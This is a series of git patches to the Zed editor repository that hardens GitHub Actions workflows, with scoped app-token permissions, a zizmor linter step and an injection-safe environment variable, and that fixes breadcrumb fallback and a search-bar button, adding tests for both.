+      env:
+        ACTIONLINT_BIN: ${{ steps.get_actionlint.outputs.executable }}
+    - name: run_tests::check_scripts::run_zizmor
+      uses: zizmorcore/zizmor-action@6599ee8b7a49aef6a770f63d261d214911a7ce02
+      with:
+        advanced-security: false
+        min-severity: high
+        version: latest
     timeout-minutes: 60
   check_postgres_and_protobuf_migrations:
     needs:
diff --git a/.github/workflows/slack_notify_community_automation_failure.yml b/.github/workflows/slack_notify_community_automation_failure.yml
index d02b3b23c232eb..71e490cd02ae18 100644
--- a/.github/workflows/slack_notify_community_automation_failure.yml
+++ b/.github/workflows/slack_notify_community_automation_failure.yml
@@ -5,6 +5,9 @@
 name: Notify Slack on community automation failure
 
 on:
+  # zizmor: ignore[dangerous-triggers]
+  # The job validates that the completed run came from this repository, was
+  # started by an expected event, and failed before exposing the Slack secret.
   workflow_run:
     workflows:
       - "Comment on potential duplicate bug/crash reports"
@@ -24,7 +27,9 @@ permissions:
 jobs:
   notify-slack:
     if: >-
-      github.repository_owner == 'zed-industries'
+      github.repository == 'zed-industries/zed'
+      && github.event.workflow_run.head_repository.full_name == github.repository
+      && contains(fromJSON('["issues","issue_comment","pull_request","pull_request_target","schedule","workflow_dispatch"]'), github.event.workflow_run.event)
       && github.event.workflow_run.conclusion == 'failure'
     runs-on: namespace-profile-2x4-ubuntu-2404
 
diff --git a/.github/workflows/track_duplicate_bot_effectiveness.yml b/.github/workflows/track_duplicate_bot_effectiveness.yml
index bdcf8a5f4077a2..b72f08d47e4269 100644
--- a/.github/workflows/track_duplicate_bot_effectiveness.yml
+++ b/.github/workflows/track_duplicate_bot_effectiveness.yml
@@ -35,6 +35,9 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: read
+          permission-organization-projects: write
 
       - name: Set up Python
         uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
@@ -74,6 +77,9 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-issues: read
+          permission-organization-projects: write
 
       - name: Set up Python
         uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
diff --git a/.github/workflows/triage_project_sync.yml b/.github/workflows/triage_project_sync.yml
index b652e0fb0a79ac..9b8500db982c1c 100644
--- a/.github/workflows/triage_project_sync.yml
+++ b/.github/workflows/triage_project_sync.yml
@@ -91,6 +91,7 @@ jobs:
           # mutations. Without `owner:`, the default token is repo-scoped and
           # cannot write to org projects.
           owner: zed-industries
+          repositories: zed
           # Scope the token down to the minimum needed for this workflow.
           # Even though the App may have broader permissions for other
           # automations (e.g., Issues:Write for the dupe-bot), this token
diff --git a/.github/zizmor.yml b/.github/zizmor.yml
new file mode 100644
index 00000000000000..550e33a7cc5d3f
--- /dev/null
+++ b/.github/zizmor.yml
@@ -0,0 +1 @@
+rules: {}
diff --git a/tooling/xtask/src/tasks/workflows/bump_patch_version.rs b/tooling/xtask/src/tasks/workflows/bump_patch_version.rs
index 6b9abab426cfa3..afad08d6a105e3 100644
--- a/tooling/xtask/src/tasks/workflows/bump_patch_version.rs
+++ b/tooling/xtask/src/tasks/workflows/bump_patch_version.rs
@@ -65,7 +65,10 @@ fn run_bump_patch_version(branch: &WorkflowInput) -> steps::NamedJob {
         .id("bump-version")
     }
 
-    let (authenticate, token) = steps::authenticate_as_zippy().into();
+    let (authenticate, token) = steps::authenticate_as_zippy()
+        .for_repository(steps::RepositoryTarget::current())
+        .with_permissions([(steps::TokenPermissions::Contents, Level::Write)])
+        .into();
     let channel_step = read_channel();
     let tag_suffix = StepOutput::new(&channel_step, "tag_suffix");
     let bump_version_step = bump_version();
diff --git a/tooling/xtask/src/tasks/workflows/bump_zed_version.rs b/tooling/xtask/src/tasks/workflows/bump_zed_version.rs
index ccbbd19ee0f7c2..39635908ffef51 100644
--- a/tooling/xtask/src/tasks/workflows/bump_zed_version.rs
+++ b/tooling/xtask/src/tasks/workflows/bump_zed_version.rs
@@ -88,7 +88,10 @@ fn resolve_versions() -> (steps::NamedJob, ResolvedOutputs) {
         .id("versions")
     }
 
-    let (authenticate, token) = steps::authenticate_as_zippy().into();
+    let (authenticate, token) = steps::authenticate_as_zippy()
+        .for_repository(steps::RepositoryTarget::current())
+        .with_permissions([(steps::TokenPermissions::Contents, Level::Read)])
+        .into();
     let versions_step = extract_versions();
     let next_version = StepOutput::new(&versions_step, "next_version");
     let pr_branch = StepOutput::new(&versions_step, "pr_branch");
@@ -134,7 +137,13 @@ fn bump_main(
         named::bash("cargo set-version -p zed --bump minor")
     }
 
-    let (authenticate, token) = steps::authenticate_as_zippy().into();
+    let (authenticate, token) = steps::authenticate_as_zippy()
+        .for_repository(steps::RepositoryTarget::current())
+        .with_permissions([
+            (steps::TokenPermissions::Contents, Level::Write),
+            (steps::TokenPermissions::PullRequests, Level::Write),
+        ])
+        .into();
 
     named::job(
         Job::default()
@@ -175,7 +184,10 @@ fn create_preview_branch(
         named::bash("echo \"main_sha=$(git rev-parse HEAD)\" >> \"$GITHUB_OUTPUT\"").id("main-sha")
     }
 
-    let (authenticate, token) = steps::authenticate_as_zippy().into();
+    let (authenticate, token) = steps::authenticate_as_zippy()
+        .for_repository(steps::RepositoryTarget::current())
+        .with_permissions([(steps::TokenPermissions::Contents, Level::Write)])
+        .into();
 
     let main_sha_step = get_main_sha();
     let main_sha = StepOutput::new(&main_sha_step, "main_sha");
@@ -225,7 +237,10 @@ fn promote_to_stable(
     versions_job: &steps::NamedJob,
     outputs: &ResolvedOutputs,
 ) -> steps::NamedJob {
-    let (authenticate, token) = steps::authenticate_as_zippy().into();
+    let (authenticate, token) = steps::authenticate_as_zippy()
+        .for_repository(steps::RepositoryTarget::current())
+        .with_permissions([(steps::TokenPermissions::Contents, Level::Write)])
+        .into();
 
     let read_version_step = named::bash(indoc::indoc! {r#"
             stable_version=$(script/get-crate-version zed)
diff --git a/tooling/xtask/src/tasks/workflows/extension_bump.rs b/tooling/xtask/src/tasks/workflows/extension_bump.rs
index 9f6f6462b6c2b7..7ec0245b1fe069 100644
--- a/tooling/xtask/src/tasks/workflows/extension_bump.rs
+++ b/tooling/xtask/src/tasks/workflows/extension_bump.rs
@@ -7,8 +7,8 @@ use crate::tasks::workflows::{
     steps::{
         self, BASH_SHELL, CommonJobConditions, CommonPermissionSets,
         DEFAULT_REPOSITORY_OWNER_GUARD, GitHubScriptStep, GitRef, NamedJob, RefSha,
-        RepositoryTarget, cache_rust_dependencies_namespace, checkout_repo, create_ref,
-        dependant_job, generate_token, named,
+        RepositoryTarget, TokenPermissions, cache_rust_dependencies_namespace, checkout_repo,
+        create_ref, dependant_job, generate_token, named,
     },
     vars::{
         JobOutput, StepOutput, WorkflowInput, WorkflowSecret,
@@ -126,7 +126,10 @@ fn create_version_label(
     app_secret: &WorkflowSecret,
 ) -> (NamedJob, StepOutput) {
     let (generate_token, generated_token) =
-        generate_token(&app_id.to_string(), &app_secret.to_string()).into();
+        generate_token(&app_id.to_string(), &app_secret.to_string())
+            .for_repository(RepositoryTarget::current())
+            .with_permissions([(TokenPermissions::Contents, Level::Write)])
+            .into();
     let (determine_tag_step, tag) = determine_tag(current_version);
     let job = steps::dependant_job(dependencies)
         .defaults(extension_job_defaults())
@@ -215,7 +218,13 @@ fn bump_extension_version(
     app_secret: &WorkflowSecret,
 ) -> NamedJob {
     let (generate_token, generated_token) =
-        generate_token(&app_id.to_string(), &app_secret.to_string()).into();
+        generate_token(&app_id.to_string(), &app_secret.to_string())
+            .for_repository(RepositoryTarget::current())
+            .with_permissions([
+                (TokenPermissions::Contents, Level::Write),
+                (TokenPermissions::PullRequests, Level::Write),
+            ])
+            .into();
     let (bump_version, _new_version, title, body, branch_name) =
         bump_version(current_version, bump_type);
 
@@ -330,6 +339,12 @@ fn trigger_release(
     let (generate_token, generated_token) =
         generate_token(&app_id.to_string(), &app_secret.to_string())
             .for_repository(extension_registry)
+            .with_permissions([
+                (TokenPermissions::Contents, Level::Write),
+                (TokenPermissions::Issues, Level::Write),
+                (TokenPermissions::Members, Level::Read),
+                (TokenPermissions::PullRequests, Level::Write),
+            ])
             .into();
     let (get_extension_id, extension_id) = get_extension_id();
     let (release_action, pull_request_number) = release_action(extension_id, tag, &generated_token);
diff --git a/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs b/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs
index 19e2c5e28dbfa5..ae3465af483762 100644
--- a/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs
+++ b/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs
@@ -67,7 +67,7 @@ fn fetch_extension_repos(filter_repos_input: &WorkflowInput) -> (NamedJob, JobOu
                     .filter(repo => !repo.archived)
                     .map(repo => repo.name);
 
-                const filterInput = `{filter_repos_input}`.trim();
+                const filterInput = process.env.FILTER_REPOS.trim();
                 if (filterInput.length > 0) {{
                     const allowedNames = filterInput.split(',').map(s => s.trim()).filter(s => s.length > 0);
                     filteredRepos = filteredRepos.filter(name => allowedNames.includes(name));
@@ -80,6 +80,7 @@ fn fetch_extension_repos(filter_repos_input: &WorkflowInput) -> (NamedJob, JobOu
             .result_encoding(ResultEncoding::Json)
             .custom_name("get_repositories")
             .id("list-repos")
+            .env("FILTER_REPOS", filter_repos_input.to_string())
             .into();
 
         let filtered_repos = StepOutput::new(&step, "result");
diff --git a/tooling/xtask/src/tasks/workflows/publish_extension_cli.rs b/tooling/xtask/src/tasks/workflows/publish_extension_cli.rs
index d4843cbaf4a1a8..567e235dfe9d54 100644
--- a/tooling/xtask/src/tasks/workflows/publish_extension_cli.rs
+++ b/tooling/xtask/src/tasks/workflows/publish_extension_cli.rs
@@ -86,7 +86,14 @@ fn publish_job() -> NamedJob {
 
 fn update_sha_in_zed(publish_job: &NamedJob, message: &WorkflowInput) -> NamedJob {
     let (generate_token, generated_token) =
-        generate_token(vars::ZED_ZIPPY_APP_ID, vars::ZED_ZIPPY_APP_PRIVATE_KEY).into();
+        generate_token(vars::ZED_ZIPPY_APP_ID, vars::ZED_ZIPPY_APP_PRIVATE_KEY)
+            .for_repository(RepositoryTarget::current())
+            .with_permissions([
+                (TokenPermissions::Contents, Level::Write),
+                (TokenPermissions::PullRequests, Level::Write),
+                (TokenPermissions::Workflows, Level::Write),
+            ])
+            .into();
 
     fn replace_sha() -> Step<Run> {
         named::bash(indoc! {r#"
@@ -150,6 +157,11 @@ fn update_sha_in_extensions(publish_job: &NamedJob, message: &WorkflowInput) ->
     let (generate_token, generated_token) =
         generate_token(vars::ZED_ZIPPY_APP_ID, vars::ZED_ZIPPY_APP_PRIVATE_KEY)
             .for_repository(extensions_repo)
+            .with_permissions([
+                (TokenPermissions::Contents, Level::Write),
+                (TokenPermissions::PullRequests, Level::Write),
+                (TokenPermissions::Workflows, Level::Write),
+            ])
             .into();
 
     fn checkout_extensions_repo(token: &StepOutput) -> Step<Use> {
diff --git a/tooling/xtask/src/tasks/workflows/release.rs b/tooling/xtask/src/tasks/workflows/release.rs
index ba6bafb933ebad..0b75268bc9c345 100644
--- a/tooling/xtask/src/tasks/workflows/release.rs
+++ b/tooling/xtask/src/tasks/workflows/release.rs
@@ -427,7 +427,10 @@ fn auto_release_preview(deps: &[&NamedJob]) -> (NamedJob, JobOutput) {
         .add_env(("GITHUB_TOKEN", token))
     }
 
-    let (authenticate, token) = steps::authenticate_as_zippy().into();
+    let (authenticate, token) = steps::authenticate_as_zippy()
+        .for_repository(steps::RepositoryTarget::current())
+        .with_permissions([(steps::TokenPermissions::Contents, Level::Write)])
+        .into();
     let auto_release_preview_step = auto_release_preview(&token);
     let release_published = StepOutput::new(&auto_release_preview_step, "release_published");
 
@@ -498,6 +501,7 @@ fn create_draft_release() -> NamedJob {
     }
 
     let (authenticate_step, token) = steps::authenticate_as_zippy()
+        .for_repository(steps::RepositoryTarget::current())
         .with_permissions([(TokenPermissions::Contents, Level::Write)])
         .into();
 
diff --git a/tooling/xtask/src/tasks/workflows/run_tests.rs b/tooling/xtask/src/tasks/workflows/run_tests.rs
index 2707034eee74f0..d7fdf84fe5dd9d 100644
--- a/tooling/xtask/src/tasks/workflows/run_tests.rs
+++ b/tooling/xtask/src/tasks/workflows/run_tests.rs
@@ -801,6 +801,17 @@ pub(crate) fn check_scripts(harden: bool) -> NamedJob {
         named::bash("./script/shellcheck-scripts error")
     }
 
+    fn run_zizmor() -> Step<Use> {
+        named::uses(
+            "zizmorcore",
+            "zizmor-action",
+            "6599ee8b7a49aef6a770f63d261d214911a7ce02", // v0.6.0
+        )
+        .add_with(("advanced-security", false))
+        .add_with(("min-severity", "high"))
+        .add_with(("version", "latest"))
+    }
+
     fn check_xtask_workflows() -> Step<Run> {
         named::bash(indoc::indoc! {r#"
             cargo xtask workflows
@@ -818,10 +829,11 @@ pub(crate) fn check_scripts(harden: bool) -> NamedJob {
             .when(harden, |this| this.add_step(steps::harden_runner()))
             .add_step(steps::checkout_repo())
             .add_step(run_shellcheck())
+            .add_step(cache_rust_dependencies_namespace())
+            .add_step(check_xtask_workflows())
             .add_step(download_actionlint().id("get_actionlint"))
             .add_step(run_actionlint())
-            .add_step(cache_rust_dependencies_namespace())
-            .add_step(check_xtask_workflows()),
+            .add_step(run_zizmor()),
     )
 }
 
diff --git a/tooling/xtask/src/tasks/workflows/steps.rs b/tooling/xtask/src/tasks/workflows/steps.rs
index daf8cb0e40e6c0..754995d9cb1f7a 100644
--- a/tooling/xtask/src/tasks/workflows/steps.rs
+++ b/tooling/xtask/src/tasks/workflows/steps.rs
@@ -177,6 +177,7 @@ pub fn setup_node() -> Step<Use> {
     )
     .add_with(("node-version", "24"))
     .add_with(("check-latest", true))
+    .add_with(("package-manager-cache", false))
 }
 
 pub fn setup_sentry() -> Step<Use> {
@@ -205,17 +206,13 @@ pub fn taiki_install_action(tool: &str) -> Step<Use> {
         .uses(
             "taiki-e",
             "install-action",
-            "02cc5f8ca9f2301050c0c099055816a41ee05507", // v2
+            "a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9", // v2.84.0
         )
         .add_with(("tool", tool))
 }
 
 pub fn cargo_install_nextest() -> Step<Use> {
-    named::uses(
-        "taiki-e",
-        "install-action",
-        "921e2c9f7148d7ba14cd819f417db338f63e733c", // nextest
-    )
+    taiki_install_action("nextest")
 }
 
 pub fn setup_cargo_config(platform: Platform) -> Step<Run> {
@@ -784,6 +781,7 @@ pub fn download_artifact() -> DownloadArtifactStep {
 pub(crate) enum TokenPermissions {
     Contents,
     Issues,
+    Members,
     PullRequests,
     Workflows,
 }
@@ -793,38 +791,70 @@ impl TokenPermissions {
         match self {
             TokenPermissions::Contents => "permission-contents",
             TokenPermissions::Issues => "permission-issues",
+            TokenPermissions::Members => "permission-members",
             TokenPermissions::PullRequests => "permission-pull-requests",
             TokenPermissions::Workflows => "permission-workflows",
         }
     }
 }
 
-pub(crate) struct GenerateAppToken<'a> {
+pub(crate) struct Unset;
+
+pub(crate) struct GenerateAppToken<'a, Target = Unset, Permissions = Unset> {
     job_name: String,
     app_id: &'a str,
     app_secret: &'a str,
-    repository_target: Option<RepositoryTarget>,
-    permissions: Option<Vec<(TokenPermissions, Level)>>,
+    repository_target: Target,
+    permissions: Permissions,
 }
 
-impl<'a> GenerateAppToken<'a> {
-    pub fn for_repository(self, repository_target: RepositoryTarget) -> Self {
-        Self {
-            repository_target: Some(repository_target),
-            ..self
+impl<'a, Permissions> GenerateAppToken<'a, Unset, Permissions> {
+    pub fn for_repository(
+        self,
+        repository_target: RepositoryTarget,
+    ) -> GenerateAppToken<'a, RepositoryTarget, Permissions> {
+        GenerateAppToken {
+            job_name: self.job_name,
+            app_id: self.app_id,
+            app_secret: self.app_secret,
+            repository_target,
+            permissions: self.permissions,
         }
     }
+}
 
-    pub fn with_permissions(self, permissions: impl Into<Vec<(TokenPermissions, Level)>>) -> Self {
-        Self {
-            permissions: Some(permissions.into()),
-            ..self
+impl<'a, Target> GenerateAppToken<'a, Target, Unset> {
+    pub fn with_permissions(
+        self,
+        permissions: impl Into<Vec<(TokenPermissions, Level)>>,
+    ) -> GenerateAppToken<'a, Target, Vec<(TokenPermissions, Level)>> {
+        GenerateAppToken {
+            job_name: self.job_name,
+            app_id: self.app_id,
+            app_secret: self.app_secret,
+            repository_target: self.repository_target,
+            permissions: permissions.into(),
         }
     }
 }
 
-impl<'a> From<GenerateAppToken<'a>> for (Step<Use>, StepOutput) {
-    fn from(token: GenerateAppToken<'a>) -> Self {
+impl<'a> From<GenerateAppToken<'a, RepositoryTarget, Vec<(TokenPermissions, Level)>>>
+    for (Step<Use>, StepOutput)
+{
+    fn from(token: GenerateAppToken<'a, RepositoryTarget, Vec<(TokenPermissions, Level)>>) -> Self {
+        let input = token.permissions.into_iter().fold(
+            Input::default()
+                .add("app-id", token.app_id)
+                .add("private-key", token.app_secret)
+                .add("owner", token.repository_target.owner)
+                .add("repositories", token.repository_target.repositories),
+            |input, (permission, level)| {
+                input.add(
+                    permission.environment_name(),
+                    serde_json::to_value(&level).unwrap_or_default(),
+                )
+            },
+        );
         let step = Step::new(token.job_name)
             .uses(
                 "actions",
@@ -832,35 +862,7 @@ impl<'a> From<GenerateAppToken<'a>> for (Step<Use>, StepOutput) {
                 "f8d387b68d61c58ab83c6c016672934102569859",
             )
             .id("generate-token")
-            .add_with(
-                Input::default()
-                    .add("app-id", token.app_id)
-                    .add("private-key", token.app_secret)
-                    .when_some(
-                        token.repository_target,
-                        |input,
-                         RepositoryTarget {
-                             owner,
-                             repositories,
-                         }| {
-                            input
-                                .when_some(owner, |input, owner| input.add("owner", owner))
-                                .when_some(repositories, |input, repositories| {
-                                    input.add("repositories", repositories)
-                                })
-                        },
-                    )
-                    .when_some(token.permissions, |input, permissions| {
-                        permissions
-                            .into_iter()
-                            .fold(input, |input, (permission, level)| {
-                                input.add(
-                                    permission.environment_name(),
-                                    serde_json::to_value(&level).unwrap_or_default(),
-                                )
-                            })
-                    }),
-            );
+            .add_with(input);
 
         let generated_token = StepOutput::new(&step, "token");
         (step, generated_token)
@@ -868,23 +870,23 @@ impl<'a> From<GenerateAppToken<'a>> for (Step<Use>, StepOutput) {
 }
 
 pub(crate) struct RepositoryTarget {
-    owner: Option<String>,
-    repositories: Option<String>,
+    owner: String,
+    repositories: String,
 }
 
 impl RepositoryTarget {
     pub fn new<T: ToString>(owner: T, repositories: &[&str]) -> Self {
         Self {
-            owner: Some(owner.to_string()),
-            repositories: Some(repositories.join("\n")),
+            owner: owner.to_string(),
+            repositories: repositories.join("\n"),
         }
     }
 
     pub fn current() -> Self {
-        Self {
-            owner: None,
-            repositories: None,
-        }
+        Self::new(
+            "${{ github.repository_owner }}",
+            &["${{ github.event.repository.name }}"],
+        )
     }
 }
 
@@ -907,8 +909,8 @@ fn generate_token_with_job_name<'a>(
         job_name: function_name(1),
         app_id: app_id_source,
         app_secret: app_secret_source,
-        repository_target: None,
-        permissions: None,
+        repository_target: Unset,
+        permissions: Unset,
     }
 }
 

From 040a169d3dd062303d164ec53542d83527a0a4b8 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Thu, 23 Jul 2026 11:35:26 +0000
Subject: [PATCH 659/772] Fall back to file names in breadcumbs with LSP
 symbols (#61511)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes https://github.com/zed-industries/zed/issues/60905

Also makes the breadcrumbs to update on settings change — before, one
needed to focus them.

Release Notes:

- Improved breadcrumbs for `"document_symbols": "on"` case when no LSP
data is sent
---
 crates/editor/src/document_symbols.rs | 149 ++++++++++++++++++++++++--
 crates/editor/src/editor.rs           |  40 +++----
 crates/editor/src/items.rs            |   2 +-
 3 files changed, 161 insertions(+), 30 deletions(-)

diff --git a/crates/editor/src/document_symbols.rs b/crates/editor/src/document_symbols.rs
index 58483e6dab282d..5d3d73f405cf54 100644
--- a/crates/editor/src/document_symbols.rs
+++ b/crates/editor/src/document_symbols.rs
@@ -333,12 +333,13 @@ mod tests {
     };
 
     use futures::StreamExt as _;
-    use gpui::TestAppContext;
+    use gpui::{App, TestAppContext};
     use multi_buffer::ToPoint;
     use settings::{DocumentSymbols, SettingsStore};
     use text::Point;
     use util::path;
-    use zed_actions::editor::{MoveDown, MoveUp};
+    use workspace::item::{Item, ItemEvent};
+    use zed_actions::editor::MoveDown;
 
     use crate::{
         Editor, LSP_REQUEST_DEBOUNCE_TIMEOUT,
@@ -357,6 +358,16 @@ mod tests {
             .collect()
     }
 
+    fn breadcrumb_texts(editor: &Editor, cx: &App) -> Vec<String> {
+        editor
+            .breadcrumbs(cx)
+            .expect("Should have breadcrumbs")
+            .0
+            .into_iter()
+            .map(|segment| segment.text.to_string())
+            .collect()
+    }
+
     fn lsp_range(start_line: u32, start_char: u32, end_line: u32, end_char: u32) -> lsp::Range {
         lsp::Range {
             start: lsp::Position::new(start_line, start_char),
@@ -542,18 +553,13 @@ mod tests {
             );
         });
 
-        // Step 3: Switch back to tree-sitter
+        // Step 3: Switch back to tree-sitter, the symbols should refresh
+        // without any extra selection changes
         update_test_language_settings(&mut cx.cx.cx, &|settings| {
             settings.defaults.document_symbols = Some(DocumentSymbols::Off);
         });
         cx.run_until_parked();
 
-        // Force another selection change
-        cx.update_editor(|editor, window, cx| {
-            editor.move_up(&MoveUp, window, cx);
-        });
-        cx.run_until_parked();
-
         cx.update_editor(|editor, _window, _cx| {
             assert_eq!(
                 outline_symbol_names(editor),
@@ -1022,4 +1028,129 @@ mod tests {
             );
         });
     }
+
+    #[gpui::test]
+    async fn test_breadcrumbs_keep_file_name_without_lsp_symbols(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+
+        update_test_language_settings(cx, &|settings| {
+            settings.defaults.document_symbols = Some(DocumentSymbols::On);
+        });
+
+        let mut cx = EditorLspTestContext::new_rust(
+            lsp::ServerCapabilities {
+                document_symbol_provider: Some(lsp::OneOf::Left(true)),
+                ..lsp::ServerCapabilities::default()
+            },
+            cx,
+        )
+        .await;
+        let mut symbol_request = cx
+            .set_request_handler::<lsp::request::DocumentSymbolRequest, _, _>(
+                move |_, _, _| async move {
+                    Ok(Some(lsp::DocumentSymbolResponse::Nested(Vec::new())))
+                },
+            );
+
+        cx.set_state("fn maˇin() {\n    let x = 1;\n}\n");
+        assert!(symbol_request.next().await.is_some());
+        cx.run_until_parked();
+
+        cx.update_editor(|editor, _window, cx| {
+            assert_eq!(
+                breadcrumb_texts(editor, cx),
+                vec![path!("dir/file.rs").to_string()],
+                "Breadcrumbs should fall back to the file name when the language server returns no symbols"
+            );
+
+            editor.set_breadcrumb_header("Last 1000 lines in the log".to_string());
+            assert_eq!(
+                breadcrumb_texts(editor, cx),
+                vec!["Last 1000 lines in the log".to_string()],
+                "A custom breadcrumb header should never disappear"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_breadcrumbs_refresh_on_document_symbols_setting_change(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+
+        let mut cx = EditorLspTestContext::new_rust(
+            lsp::ServerCapabilities {
+                document_symbol_provider: Some(lsp::OneOf::Left(true)),
+                ..lsp::ServerCapabilities::default()
+            },
+            cx,
+        )
+        .await;
+        let mut symbol_request = cx
+            .set_request_handler::<lsp::request::DocumentSymbolRequest, _, _>(
+                move |_, _, _| async move {
+                    Ok(Some(lsp::DocumentSymbolResponse::Nested(Vec::new())))
+                },
+            );
+
+        cx.set_state("fn maˇin() {\n    let x = 1;\n}\n");
+        cx.run_until_parked();
+
+        cx.update_editor(|editor, _window, cx| {
+            assert_eq!(
+                breadcrumb_texts(editor, cx),
+                vec![path!("dir/file.rs").to_string(), "fn main".to_string()],
+                "With tree-sitter symbols, breadcrumbs should show the file name and the symbol"
+            );
+        });
+
+        let breadcrumb_updates = Arc::new(atomic::AtomicUsize::new(0));
+        let editor = cx.editor.clone();
+        let _subscription = cx.update(|_, cx| {
+            cx.subscribe(&editor, {
+                let breadcrumb_updates = breadcrumb_updates.clone();
+                move |_, event, _| {
+                    Editor::to_item_events(event, &mut |item_event| {
+                        if item_event == ItemEvent::UpdateBreadcrumbs {
+                            breadcrumb_updates.fetch_add(1, atomic::Ordering::AcqRel);
+                        }
+                    });
+                }
+            })
+        });
+
+        update_test_language_settings(&mut cx.cx.cx, &|settings| {
+            settings.defaults.document_symbols = Some(DocumentSymbols::On);
+        });
+        assert!(symbol_request.next().await.is_some());
+        cx.run_until_parked();
+
+        cx.update_editor(|editor, _window, cx| {
+            assert_eq!(
+                breadcrumb_texts(editor, cx),
+                vec![path!("dir/file.rs").to_string()],
+                "After enabling LSP symbols that return nothing, breadcrumbs should keep the file name"
+            );
+        });
+        assert!(
+            breadcrumb_updates.load(atomic::Ordering::Acquire) > 0,
+            "Breadcrumbs should refresh on the setting change, without extra selection changes"
+        );
+
+        breadcrumb_updates.store(0, atomic::Ordering::Release);
+        update_test_language_settings(&mut cx.cx.cx, &|settings| {
+            settings.defaults.document_symbols = Some(DocumentSymbols::Off);
+        });
+        cx.run_until_parked();
+
+        cx.update_editor(|editor, _window, cx| {
+            assert_eq!(
+                breadcrumb_texts(editor, cx),
+                vec![path!("dir/file.rs").to_string(), "fn main".to_string()],
+                "After disabling LSP symbols, tree-sitter breadcrumbs should return"
+            );
+        });
+        assert!(
+            breadcrumb_updates.load(atomic::Ordering::Acquire) > 0,
+            "Breadcrumbs should refresh on the setting change, without extra selection changes"
+        );
+    }
 }
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index fbd6ad44d8c650..1756d19d4905f3 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -9887,6 +9887,7 @@ impl Editor {
             if language_settings_changed {
                 self.clear_disabled_lsp_folding_ranges(window, cx);
                 self.refresh_document_symbols(None, cx);
+                self.refresh_outline_symbols_at_cursor(cx);
             }
 
             if let Some(inlay_splice) = self.colors.as_mut().and_then(|colors| {
@@ -10943,16 +10944,12 @@ impl Editor {
     }
 
     fn breadcrumbs_inner(&self, cx: &App) -> Option<Vec<HighlightedText>> {
-        let multibuffer = self.buffer().read(cx);
-        let is_singleton = multibuffer.is_singleton();
-        let (buffer_id, symbols) = self.outline_symbols_at_cursor.as_ref()?;
-        let buffer = multibuffer.buffer(*buffer_id)?;
-
-        let buffer = buffer.read(cx);
+        let multi_buffer = self.buffer().read(cx);
         // In a multi-buffer layout, we don't want to include the filename in the breadcrumbs
-        let mut breadcrumbs = if is_singleton {
+        let mut breadcrumbs = if let Some(buffer) = multi_buffer.as_singleton() {
             let text = self.breadcrumb_header.clone().unwrap_or_else(|| {
                 buffer
+                    .read(cx)
                     .snapshot()
                     .resolve_file_path(
                         self.project
@@ -10961,27 +10958,30 @@ impl Editor {
                             .unwrap_or_default(),
                         cx,
                     )
-                    .unwrap_or_else(|| {
-                        if multibuffer.is_singleton() {
-                            multibuffer.title(cx).to_string()
-                        } else {
-                            MultiBuffer::DEFAULT_TITLE.to_string()
-                        }
-                    })
+                    .unwrap_or_else(|| multi_buffer.title(cx).to_string())
             });
             vec![HighlightedText {
                 text: text.into(),
                 highlights: vec![],
             }]
         } else {
-            vec![]
+            Vec::new()
         };
 
-        breadcrumbs.extend(symbols.iter().map(|symbol| HighlightedText {
-            text: symbol.text.clone(),
-            highlights: symbol.highlight_ranges.clone(),
-        }));
-        Some(breadcrumbs)
+        if let Some((buffer_id, symbols)) = self.outline_symbols_at_cursor.as_ref()
+            && multi_buffer.buffer(*buffer_id).is_some()
+        {
+            breadcrumbs.extend(symbols.iter().map(|symbol| HighlightedText {
+                text: symbol.text.clone(),
+                highlights: symbol.highlight_ranges.clone(),
+            }));
+        }
+
+        if breadcrumbs.is_empty() {
+            None
+        } else {
+            Some(breadcrumbs)
+        }
     }
 
     fn disable_lsp_data(&mut self) {
diff --git a/crates/editor/src/items.rs b/crates/editor/src/items.rs
index cb2b16a48dcc71..f515ed19fa7bad 100644
--- a/crates/editor/src/items.rs
+++ b/crates/editor/src/items.rs
@@ -1169,7 +1169,7 @@ impl Item for Editor {
                 f(ItemEvent::UpdateBreadcrumbs);
             }
 
-            EditorEvent::BreadcrumbsChanged => {
+            EditorEvent::BreadcrumbsChanged | EditorEvent::OutlineSymbolsChanged => {
                 f(ItemEvent::UpdateBreadcrumbs);
             }
 

From aa5603358d43961f9365433fbe2d2671d7c10465 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Thu, 23 Jul 2026 12:18:21 +0000
Subject: [PATCH 660/772] search: Fix expand/collapse button for non
 multibuffer items (#61519)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fix an issue where the button was being shown in the LSP log view even
because it's `Item::buffer_kind` implementation was returning the
default `ItemBufferKind::None` value.

## Solution

Update the `BufferSearchBar::needs_expand_collapse_option`
implementation to return `false` for all non-multibuffer items instead
of only returning false for singletons.

## Testing

Tested both manually as well as added a new test for this change –
`search::buffer_search::tests::test_no_expand_collapse_option_when_item_is_not_buffer_backed`.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
